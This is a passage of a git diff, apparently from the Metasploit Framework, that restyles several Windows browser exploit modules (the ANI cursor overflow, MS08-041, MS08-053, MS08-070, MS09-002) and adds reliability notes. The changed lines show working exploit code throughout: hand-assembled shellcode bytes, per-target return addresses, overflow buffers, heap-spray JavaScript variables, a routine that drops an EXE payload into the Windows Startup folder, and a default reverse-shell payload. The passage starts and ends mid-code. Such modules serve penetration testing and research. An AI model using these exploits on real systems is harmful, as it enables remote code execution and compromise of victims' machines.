languages)', { - 'Method' => 'jmpesp', - 'Ret1' => 0x0040afff, # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe) - 'Ret2' => 0x004090df # jmp esp on 2003 SP1, SP2 (iexplore.exe) + 'Method' => 'jmpesp', + 'Ret1' => 0x0040afff, # jmp esp on NT, 2000, XP, 2003 SP0 (iexplore.exe) + 'Ret2' => 0x004090df # jmp esp on 2003 SP1, SP2 (iexplore.exe) } ], - [ 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)', + [ + 'IE7 on Windows XP SP2, 2003 SP1, SP2 (all languages)', { - 'Method' => 'jmpesp', - 'Ret1' => 0x00420B45, # jmp esp on XP SP2 (iexplore.exe) - 'Ret2' => 0x00420B45 # jmp esp on 2003 SP1, SP2 (iexplore.exe) + 'Method' => 'jmpesp', + 'Ret1' => 0x00420B45, # jmp esp on XP SP2 (iexplore.exe) + 'Ret2' => 0x00420B45 # jmp esp on 2003 SP1, SP2 (iexplore.exe) } ], - [ 'IE7 and Firefox on Windows Vista (all languages)', + [ + 'IE7 and Firefox on Windows Vista (all languages)', { - 'Method' => 'partial', - 'Ret' => 0x700B # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll) + 'Method' => 'partial', + 'Ret' => 0x700B # we change user32.dll+5879 to user32.dll+700B (jmp [ebx] in user32.dll) } ], - [ 'Firefox on Windows XP (English)', + [ + 'Firefox on Windows XP (English)', { - 'Method' => 'jmpesp', - 'Ret1' => 0x77059E48, # jmp esp on XP (comres.dll) - 'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll) + 'Method' => 'jmpesp', + 'Ret1' => 0x77059E48, # jmp esp on XP (comres.dll) + 'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll) } ], - [ 'Firefox on Windows 2003 (English)', + [ + 'Firefox on Windows 2003 (English)', { - 'Method' => 'jmpesp', - 'Ret1' => 0x77019668, # jmp esp on 2003 SP0 (comres.dll) - 'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll) + 'Method' => 'jmpesp', + 'Ret1' => 0x77019668, # jmp esp on 2003 SP0 (comres.dll) + 'Ret2' => 0x77019668 # jmp esp on 2003 SP1, SP2 (comres.dll) } ], ], - 'DisclosureDate' => '2007-03-28', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2007-03-28', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ]) + ] + ) end - -# -# Handle HTTP requests -# + # + # Handle HTTP requests + # def on_request_uri(cli, request) - # # Automatic browser and OS detection # @@ -224,10 +233,10 @@ def on_request_uri(cli, request) if request.method == 'OPTIONS' print_status("Received WebDAV OPTIONS request") headers = { - 'DASL' => '', - 'DAV' => '1, 2', + 'DASL' => '', + 'DAV' => '1, 2', 'Public' => 'OPTIONS, GET, PROPFIND', - 'Allow' => 'OPTIONS, GET, PROPFIND' + 'Allow' => 'OPTIONS, GET, PROPFIND' } send_response(cli, '', headers) return @@ -246,7 +255,7 @@ def on_request_uri(cli, request) body = '' end - send_response(cli, body, {'Content-Type' => 'text/xml'}) + send_response(cli, body, { 'Content-Type' => 'text/xml' }) return end @@ -293,7 +302,6 @@ def on_request_uri(cli, request) send_response(cli, generate_ani(p, target), { 'Content-Type' => 'application/octet-stream' }) end - # # Generate a
element with a style attribute referencing the ANI file # @@ -302,25 +310,24 @@ def generate_ie_html(ext) path = get_resource.sub(/\/$/, '') "
" + - random_padding + - "
" + random_css_padding + + Rex::Text.to_rand_case("cursor") + + random_css_padding + + ":" + + random_css_padding + + Rex::Text.to_rand_case("url(") + + random_css_padding + + '"' + + path + '/' + rand_text_alphanumeric(rand(80) + 16) + '.' + ext + + '"' + + random_css_padding + + ");" + + random_css_padding + + "'>" + + random_padding + + "
" end - # # Generate a img tag with a moz-icon URL referencing the ANI file # @@ -331,68 +338,63 @@ def generate_mozilla_html # The UNC path of the ANI file must have at least one directory level, # otherwise the WebDAV redirector will not work if path == '' - path = '/' + rand_text_alphanumeric(rand(80)+16) + path = '/' + rand_text_alphanumeric(rand(80) + 16) end return '' + datastore['SRVHOST'] + + path + '/' + rand_text_alphanumeric(rand(80) + 16) + '.ani">' end - # # Generate CSS padding # def random_css_padding buf = - random_whitespace + - "/*" + - random_whitespace + - random_padding + - random_whitespace + - "*/" + - random_whitespace + random_whitespace + + "/*" + + random_whitespace + + random_padding + + random_whitespace + + "*/" + + random_whitespace end - # # Generate random whitespace # def random_whitespace - len = rand(100)+2 + len = rand(100) + 2 set = "\x09\x20\x0d\x0a" buf = '' while (buf.length < len) - buf << set[rand(set.length)].chr + buf << set[rand(set.length)].chr end buf end - # # Generate random padding # def random_padding - rand_text_alphanumeric(rand(128)+4) + rand_text_alphanumeric(rand(128) + 4) end - # # Generate an ANI file that will trigger the vulnerability # def generate_ani(payload, target) - # Valid ANI header header = [ - 36, # cbSizeOf (must be 36) - rand(128)+16, # cFrames (must be > 1 and < 0x10000) - rand(1024)+1, # cSteps (must be < 0x10000) + 36, # cbSizeOf (must be 36) + rand(128) + 16, # cFrames (must be > 1 and < 0x10000) + rand(1024) + 1, # cSteps (must be < 0x10000) 0, 0, # cx, cy 0, # cBitCount 0, # cPlanes @@ -404,93 +406,83 @@ def generate_ani(payload, target) if target['Method'] == 'jmpesp' - # ANI header that triggers the overflow: - overflow = - # 36 bytes of fake header - - # When we get control, the ebx and esi registers have the following values: - # - # 2000, XP, 2003 before MS05-002 - # ebx = 0, esi = pointer to MappedFile struct - # - # NT before MS05-002 - # ebx = pointer to dword 1, esi = pointer to MappedFile struct - # - # all versions after MS05-002, including XP SP2 and 2003 SP1 - # ebx = pointer to MappedFile struct - # - # The first field in MappedFile is a pointer to the ANI file - - "\x85\xDB" + # test ebx,ebx - "\x74\x0A" + # jz jmp_esi 2000, XP, 2003 before MS05-002 - "\x81\x3B\x01\x00\x00\x00" + # cmp dword [ebx], 0x1 - "\x74\x02" + # jz jmp_esi NT before MS05-002 - "\x89\xDE" + # mov esi, ebx all versions after MS05-002 - # jmp_esi: - "\x8B\x36" + # mov esi,[esi] pointer to ANI file - "\x81\x3E\x52\x49\x46\x46" + # cmp [esi], 'RIFF' - "\x75\x02" + # jnz failed - "\xFF\xE6" + # jmp esi - # failed: - "\x31\xc0" + # xor eax, eax - "\x8b\x00" + # mov eax, [0] exit via SEH - rand_text(2) + - "\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0) - - # end of header - - rand_text(4*6) + # local variables - - # The following local variables must be NULL to avoid calls to - # HeapFree and NtUserDestroyCursor - - # 2000, XP, 2003 SP0 2003 SP1 - - "\x00\x00\x00\x00" + # var_10 - "\x00\x00\x00\x00" + # var_C - "\x00\x00\x00\x00" + # var_C - "\x00\x00\x00\x00" + # var_8 - "\x00\x00\x00\x00" + # var_4 - - [ - target['Ret1'], # return address for NT, 2000, XP and 2003 SP0 - target['Ret2'] # return address for 2003 SP1 - ].pack('VV') + - - rand_text(4*4) + # function arguments - - "\x90\x90\x90\x90" + # jmp esp on NT, 2000, XP and 2003 SP0 lands - # here, 2003 SP1 lands on the next dword - - "\xeb\x92" # jump back to the shellcode in the ANI header + # ANI header that triggers the overflow: + overflow = + # 36 bytes of fake header + + # When we get control, the ebx and esi registers have the following values: + # + # 2000, XP, 2003 before MS05-002 + # ebx = 0, esi = pointer to MappedFile struct + # + # NT before MS05-002 + # ebx = pointer to dword 1, esi = pointer to MappedFile struct + # + # all versions after MS05-002, including XP SP2 and 2003 SP1 + # ebx = pointer to MappedFile struct + # + # The first field in MappedFile is a pointer to the ANI file + + "\x85\xDB" + # test ebx,ebx + "\x74\x0A" + # jz jmp_esi 2000, XP, 2003 before MS05-002 + "\x81\x3B\x01\x00\x00\x00" + # cmp dword [ebx], 0x1 + "\x74\x02" + # jz jmp_esi NT before MS05-002 + "\x89\xDE" + # mov esi, ebx all versions after MS05-002 + # jmp_esi: + "\x8B\x36" + # mov esi,[esi] pointer to ANI file + "\x81\x3E\x52\x49\x46\x46" + # cmp [esi], 'RIFF' + "\x75\x02" + # jnz failed + "\xFF\xE6" + # jmp esi + # failed: + "\x31\xc0" + # xor eax, eax + "\x8b\x00" + # mov eax, [0] exit via SEH + rand_text(2) + + "\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0) + + # end of header + rand_text(4 * 6) + # local variables + + # The following local variables must be NULL to avoid calls to + # HeapFree and NtUserDestroyCursor + + # 2000, XP, 2003 SP0 2003 SP1 + "\x00\x00\x00\x00" + # var_10 + "\x00\x00\x00\x00" + # var_C + "\x00\x00\x00\x00" + # var_C + "\x00\x00\x00\x00" + # var_8 + "\x00\x00\x00\x00" + # var_4 + [ + target['Ret1'], # return address for NT, 2000, XP and 2003 SP0 + target['Ret2'] # return address for 2003 SP1 + ].pack('VV') + + rand_text(4 * 4) + # function arguments + "\x90\x90\x90\x90" + # jmp esp on NT, 2000, XP and 2003 SP0 lands + # here, 2003 SP1 lands on the next dword + "\xeb\x92" # jump back to the shellcode in the ANI header elsif target['Method'] == 'partial' - # ANI header that triggers the overflow: + # ANI header that triggers the overflow: - overflow = + overflow = - # 36 bytes of fake header + # 36 bytes of fake header - rand_text(32) + - "\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0) + rand_text(32) + + "\x00\x00\x00\x00" + # header flags (LSB bit must be set to 0) - # end of header + # end of header + rand_text(4 * 8) + # local variables - rand_text(4*8) + # local variables - - # The following local variables must be NULL to avoid calls to - # HeapFree and NtUserDestroyCursor on Vista - - "\x00\x00\x00\x00" + # var_C - "\x00\x00\x00\x00" + # var_8 - "\x00\x00\x00\x00" + # var_4 - - rand_text(4) + # saved ebp - - [ - target['Ret'], # 2 byte partial overwrite of the return address - ].pack('v') + # The following local variables must be NULL to avoid calls to + # HeapFree and NtUserDestroyCursor on Vista + "\x00\x00\x00\x00" + # var_C + "\x00\x00\x00\x00" + # var_8 + "\x00\x00\x00\x00" + # var_4 + rand_text(4) + # saved ebp + [ + target['Ret'], # 2 byte partial overwrite of the return address + ].pack('v') else fail_with(Failure::NoTarget, "Unknown target #{target['Method']}") @@ -506,20 +498,18 @@ def generate_ani(payload, target) # 'F' 46 inc esi # eb 3a jmp +3a # jmp to the code in the payload chunk ani = - "RIFF" + "\xeb\x3a\x00\x00" + + "RIFF" + "\xeb\x3a\x00\x00" + "ACON" + riff_chunk("anih", header) + # payload chunk riff_chunk(random_riff_tag, - Rex::Arch::X86.copy_to_stack(payload.encoded.length) + - payload.encoded) + - + Rex::Arch::X86.copy_to_stack(payload.encoded.length) + + payload.encoded) + random_riff_chunks + # the second anih chunk trigger the overflow riff_chunk("anih", overflow) + - random_riff_chunks return ani diff --git a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb index 8f4cf4387df2d..85a122532318f 100644 --- a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb +++ b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb @@ -10,38 +10,45 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download', + 'Description' => %q{ This module allows remote attackers to place arbitrary files on a users file system - via the Microsoft Office Snapshot Viewer ActiveX Control. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + via the Microsoft Office Snapshot Viewer ActiveX Control. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2008-2463' ], [ 'OSVDB', '46749'], [ 'MSB', 'MS08-041' ], [ 'BID', '30114' ], ], - 'Payload' => - { - 'Space' => 2048, + 'Payload' => { + 'Space' => 2048, 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Automatic', { } ], + 'Platform' => 'win', + 'Targets' => [ + [ 'Automatic', {} ], ], - 'DefaultTarget' => 0, - 'DisclosureDate' => '2008-07-07')) + 'DefaultTarget' => 0, + 'DisclosureDate' => '2008-07-07', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']), - ]) + ] + ) end def autofilter @@ -53,21 +60,21 @@ def check_dependencies end def on_request_uri(cli, request) - - payload_url = "http://" + payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload" if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_exe({ :code => p.encoded }) print_status("Sending EXE payload") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end - vname = rand_text_alpha(rand(100) + 1) - exe = rand_text_alpha(rand(20) + 1) + vname = rand_text_alpha(rand(100) + 1) + exe = rand_text_alpha(rand(20) + 1) content = %Q| @@ -89,6 +96,5 @@ def on_request_uri(cli, request) send_response_html(cli, content) handler(cli) - end end diff --git a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb index a1430b11d1756..3167b56d20af3 100644 --- a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb +++ b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb @@ -9,38 +9,43 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in Windows Media Encoder 9. When - sending an overly long string to the GetDetailsString() method of wmex.dll - an attacker may be able to execute arbitrary code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'MC' ], - 'References' => - [ + sending an overly long string to the GetDetailsString() method of wmex.dll + an attacker may be able to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'MC' ], + 'References' => [ [ 'CVE', '2008-3008' ], [ 'OSVDB', '47962' ], [ 'BID', '31065' ], [ 'MSB', 'MS08-053' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP2-SP3 IE 6.0 SP0-SP2', { 'Ret' => 0x0C0C0C0C } ] ], - 'DisclosureDate' => '2008-09-09', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2008-09-09', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def autofilter @@ -59,22 +64,22 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. - nops = Rex::Text.to_unescape(make_nops(4)) + nops = Rex::Text.to_unescape(make_nops(4)) # Set the return. - ret = Rex::Text.to_unescape([target.ret].pack('V')) + ret = Rex::Text.to_unescape([target.ret].pack('V')) # Randomize the javascript variable names. - vname = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(30) + 2) - rand1 = rand_text_alpha(rand(100) + 1) - rand2 = rand_text_alpha(rand(100) + 1) - rand3 = rand_text_alpha(rand(100) + 1) - rand4 = rand_text_alpha(rand(100) + 1) - rand5 = rand_text_alpha(rand(100) + 1) - rand6 = rand_text_alpha(rand(100) + 1) - rand7 = rand_text_alpha(rand(100) + 1) - rand8 = rand_text_alpha(rand(100) + 1) + vname = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(30) + 2) + rand1 = rand_text_alpha(rand(100) + 1) + rand2 = rand_text_alpha(rand(100) + 1) + rand3 = rand_text_alpha(rand(100) + 1) + rand4 = rand_text_alpha(rand(100) + 1) + rand5 = rand_text_alpha(rand(100) + 1) + rand6 = rand_text_alpha(rand(100) + 1) + rand7 = rand_text_alpha(rand(100) + 1) + rand8 = rand_text_alpha(rand(100) + 1) randnop = rand_text_alpha(rand(100) + 1) content = %Q| diff --git a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb index bf0c071d1c581..f2b5df3c951fb 100644 --- a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb +++ b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb @@ -9,44 +9,63 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow', - 'Description' => %q{ - This module exploits a stack buffer overflow in Microsoft's Visual Studio 6.0. - When passing a specially crafted string to the Mask parameter of the - Mdmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary - code. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'koshi', 'MC' ], - 'References' => - [ + super( + update_info( + info, + 'Name' => 'Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in Microsoft Visual + Studio 6.0. When passing a specially crafted string to the Mask + parameter of the Mdmask32.ocx ActiveX Control, an attacker may + be able to execute arbitrary code. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Symantec', # Discovery and PoC + 'koshi', # Exploit + 'MC' # Metasploit + ], + 'References' => [ + [ 'BID', '30674' ], [ 'CVE', '2008-3704' ], + [ 'CWE', '119' ], + [ 'EDB', '6244' ], + [ 'EDB', '6317' ], [ 'OSVDB', '47475' ], - [ 'BID', '30674' ], - [ 'MSB', 'MS08-070' ] + [ 'MSB', 'MS08-070' ], + [ 'URL', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/44444' ], ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'process', + 'DefaultOptions' => { + 'PAYLOAD' => 'windows/shell/reverse_tcp', + 'EXITFUNC' => 'process' }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00" }, - 'Platform' => 'win', - 'Targets' => - [ - [ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ] + 'Platform' => 'win', + 'Arch' => [ARCH_X86], + 'Targets' => [ + [ + 'Windows XP x86 SP0-SP3 IE 6.0 SP0-SP3', {} + ] ], - 'DisclosureDate' => '2008-08-13', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2008-08-13', + 'DefaultTarget' => 0, + 'Notes' => { + 'AKA' => ['Masked Edit Control Memory Corruption Vulnerability'], + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [UNRELIABLE_SESSION] + } + ) + ) register_options( [ - OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ]) + OptString.new('URIPATH', [ true, 'The server URI path to use.', '/' ]) + ] + ) end def autofilter @@ -57,33 +76,32 @@ def check_dependencies use_zlib end - def on_request_uri(cli, request) + def on_request_uri(cli, _request) # Re-generate the payload. - return if ((p = regenerate_payload(cli)) == nil) + return if ((regenerate_payload(cli)).nil?) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Create some nops. - nops = Rex::Text.to_unescape(make_nops(4)) + nops = Rex::Text.to_unescape(make_nops(4)) - # Randomize the javascript variable names. - vname = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(30) + 2) - rand1 = rand_text_alpha(rand(100) + 1) - rand2 = rand_text_alpha(rand(100) + 1) - rand3 = rand_text_alpha(rand(100) + 1) - rand4 = rand_text_alpha(rand(100) + 1) - rand5 = rand_text_alpha(rand(100) + 1) - rand6 = rand_text_alpha(rand(100) + 1) - rand7 = rand_text_alpha(rand(100) + 1) - rand8 = rand_text_alpha(rand(100) + 1) - rand9 = rand_text_alpha(rand(100) + 1) - rand10 = rand_text_alpha(rand(100) + 1) - rand11 = rand_text_alpha(rand(100) + 1) - randnop = rand_text_alpha(rand(100) + 1) + # Randomize the JavaScript variable names. + var_i = rand_text_alpha(2..30) + rand1 = rand_text_alpha(1..100) + rand2 = rand_text_alpha(1..100) + rand3 = rand_text_alpha(1..100) + rand4 = rand_text_alpha(1..100) + rand5 = rand_text_alpha(1..100) + rand6 = rand_text_alpha(1..100) + rand7 = rand_text_alpha(1..100) + rand8 = rand_text_alpha(1..100) + rand9 = rand_text_alpha(1..100) + rand10 = rand_text_alpha(1..100) + rand11 = rand_text_alpha(1..100) + randnop = rand_text_alpha(1..100) - content = %Q| + content = %| - - - - - - -EOS + html = <<~EOS + + + + + + + + + + EOS @state[token] = :start # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) @@ -137,8 +140,8 @@ def on_request_uri(cli, request) return if ((p = regenerate_payload(cli)) == nil) # First entry points to the table of pointers - vtable = [ vaddr + 4 ].pack("V") - cbase = ibase + 0x2065 + (256 * 4) + vtable = [ vaddr + 4 ].pack("V") + cbase = ibase + 0x2065 + (256 * 4) # Build a function table 255.times { vtable << [cbase].pack("V") } @@ -150,33 +153,30 @@ def on_request_uri(cli, request) Msf::Util::EXE.to_dotnetmem(ibase, vtable), { 'Content-Type' => 'application/x-msdownload', - 'Connection' => 'close', - 'Pragma' => 'no-cache' + 'Connection' => 'close', + 'Pragma' => 'no-cache' } ) @state[token] = :dll return end - - html = "" data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQ" + - "EBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREI" + - "OFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQ" + - "QNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U" + - "8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREI" + - "JNSPDJ1UBRVQEBiVJREP" + "EBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREI" + + "OFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQ" + + "QNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U" + + "8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREI" + + "JNSPDJ1UBRVQEBiVJREP" data = data.reverse.unpack("m*")[0] - # # .NET DLL MODE # - if(@state[token] == :dll) + if (@state[token] == :dll) print_status("Sending exploit HTML (Using .NET DLL)") - addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" } + addr_a, addr_b = [vaddr].pack("V").unpack("v*").map { |v| "&##{v};" } bxml = Rex::Text.to_hex(%Q| @@ -207,10 +207,10 @@ def on_request_uri(cli, request) |, '%') - var_unescape = rand_text_alpha(rand(100) + 1) - var_start = rand_text_alpha(rand(100) + 1) + var_unescape = rand_text_alpha(rand(100) + 1) + var_start = rand_text_alpha(rand(100) + 1) - html = %Q| + html = %Q| |, '%') - var_memory = rand_text_alpha(rand(100) + 1) - var_boom = rand_text_alpha(rand(100) + 1) - var_body = rand_text_alpha(rand(100) + 1) - var_unescape = rand_text_alpha(rand(100) + 1) - var_shellcode = rand_text_alpha(rand(100) + 1) - var_spray = rand_text_alpha(rand(100) + 1) - var_start = rand_text_alpha(rand(100) + 1) - var_i = rand_text_alpha(rand(100) + 1) + var_memory = rand_text_alpha(rand(100) + 1) + var_boom = rand_text_alpha(rand(100) + 1) + var_body = rand_text_alpha(rand(100) + 1) + var_unescape = rand_text_alpha(rand(100) + 1) + var_shellcode = rand_text_alpha(rand(100) + 1) + var_spray = rand_text_alpha(rand(100) + 1) + var_start = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(100) + 1) - rand_html = rand_text_english(rand(400) + 500) + rand_html = rand_text_english(rand(400) + 500) - html = <<-EOS - - - - - -#{rand_html} - - -EOS + setTimeout('#{var_boom}()', 1000); + } + + + + #{rand_html} + + + EOS end diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb index 8f71212906ffe..3bdb27863ba11 100644 --- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb +++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb @@ -9,51 +9,56 @@ class MetasploitModule < Msf::Exploit::Remote # # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn # - #include Msf::Exploit::Remote::BrowserAutopwn - #autopwn_info({ + # include Msf::Exploit::Remote::BrowserAutopwn + # autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "7.0", # :ua_maxver => "7.0", # :javascript => true, # :os_name => OperatingSystems::Match::WINDOWS, # :vuln_test => nil, # no way to test without just trying it - #}) + # }) include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS09-002 Microsoft Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption', - 'Description' => %q{ - This module exploits an error related to the CFunctionPointer function when attempting - to access uninitialized memory. A remote attacker could exploit this vulnerability to - corrupt memory and execute arbitrary code on the system with the privileges of the victim. - }, - 'License' => MSF_LICENSE, - 'Author' => [ 'dean [at] zerodaysolutions [dot] com' ], - 'References' => - [ + super( + update_info( + info, + 'Name' => 'MS09-002 Microsoft Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption', + 'Description' => %q{ + This module exploits an error related to the CFunctionPointer function when attempting + to access uninitialized memory. A remote attacker could exploit this vulnerability to + corrupt memory and execute arbitrary code on the system with the privileges of the victim. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'dean [at] zerodaysolutions [dot] com' ], + 'References' => [ [ 'CVE', '2009-0075' ], [ 'OSVDB', '51839' ], [ 'MSB', 'MS09-002' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, - 'Payload' => - { - 'Space' => 1024, - 'BadChars' => "\x00", + 'Payload' => { + 'Space' => 1024, + 'BadChars' => "\x00", }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows XP SP2-SP3 / Windows Vista SP0 / IE 7', { 'Ret' => 0x0C0C0C0C } ] ], - 'DisclosureDate' => '2009-02-10', - 'DefaultTarget' => 0)) + 'DisclosureDate' => '2009-02-10', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end @@ -67,7 +72,6 @@ def check_dependencies end def on_request_uri(cli, request) - if (!request.uri.match(/\?\w+/)) send_local_redirect(cli, "?#{@javascript_encode_key}") return @@ -80,23 +84,23 @@ def on_request_uri(cli, request) shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return. - ret = Rex::Text.to_unescape([target.ret].pack('V')) + ret = Rex::Text.to_unescape([target.ret].pack('V')) # Randomize the javascript variable names. - rand1 = rand_text_alpha(rand(100) + 1) - rand2 = rand_text_alpha(rand(100) + 1) - rand3 = rand_text_alpha(rand(100) + 1) - rand4 = rand_text_alpha(rand(100) + 1) - rand5 = rand_text_alpha(rand(100) + 1) - rand6 = rand_text_alpha(rand(100) + 1) - rand7 = rand_text_alpha(rand(100) + 1) - rand8 = rand_text_alpha(rand(100) + 1) - rand9 = rand_text_alpha(rand(100) + 1) - rand10 = rand_text_alpha(rand(100) + 1) - rand11 = rand_text_alpha(rand(100) + 1) - rand12 = rand_text_alpha(rand(100) + 1) - rand13 = rand_text_alpha(rand(100) + 1) - fill = rand_text_alpha(25) + rand1 = rand_text_alpha(rand(100) + 1) + rand2 = rand_text_alpha(rand(100) + 1) + rand3 = rand_text_alpha(rand(100) + 1) + rand4 = rand_text_alpha(rand(100) + 1) + rand5 = rand_text_alpha(rand(100) + 1) + rand6 = rand_text_alpha(rand(100) + 1) + rand7 = rand_text_alpha(rand(100) + 1) + rand8 = rand_text_alpha(rand(100) + 1) + rand9 = rand_text_alpha(rand(100) + 1) + rand10 = rand_text_alpha(rand(100) + 1) + rand11 = rand_text_alpha(rand(100) + 1) + rand12 = rand_text_alpha(rand(100) + 1) + rand13 = 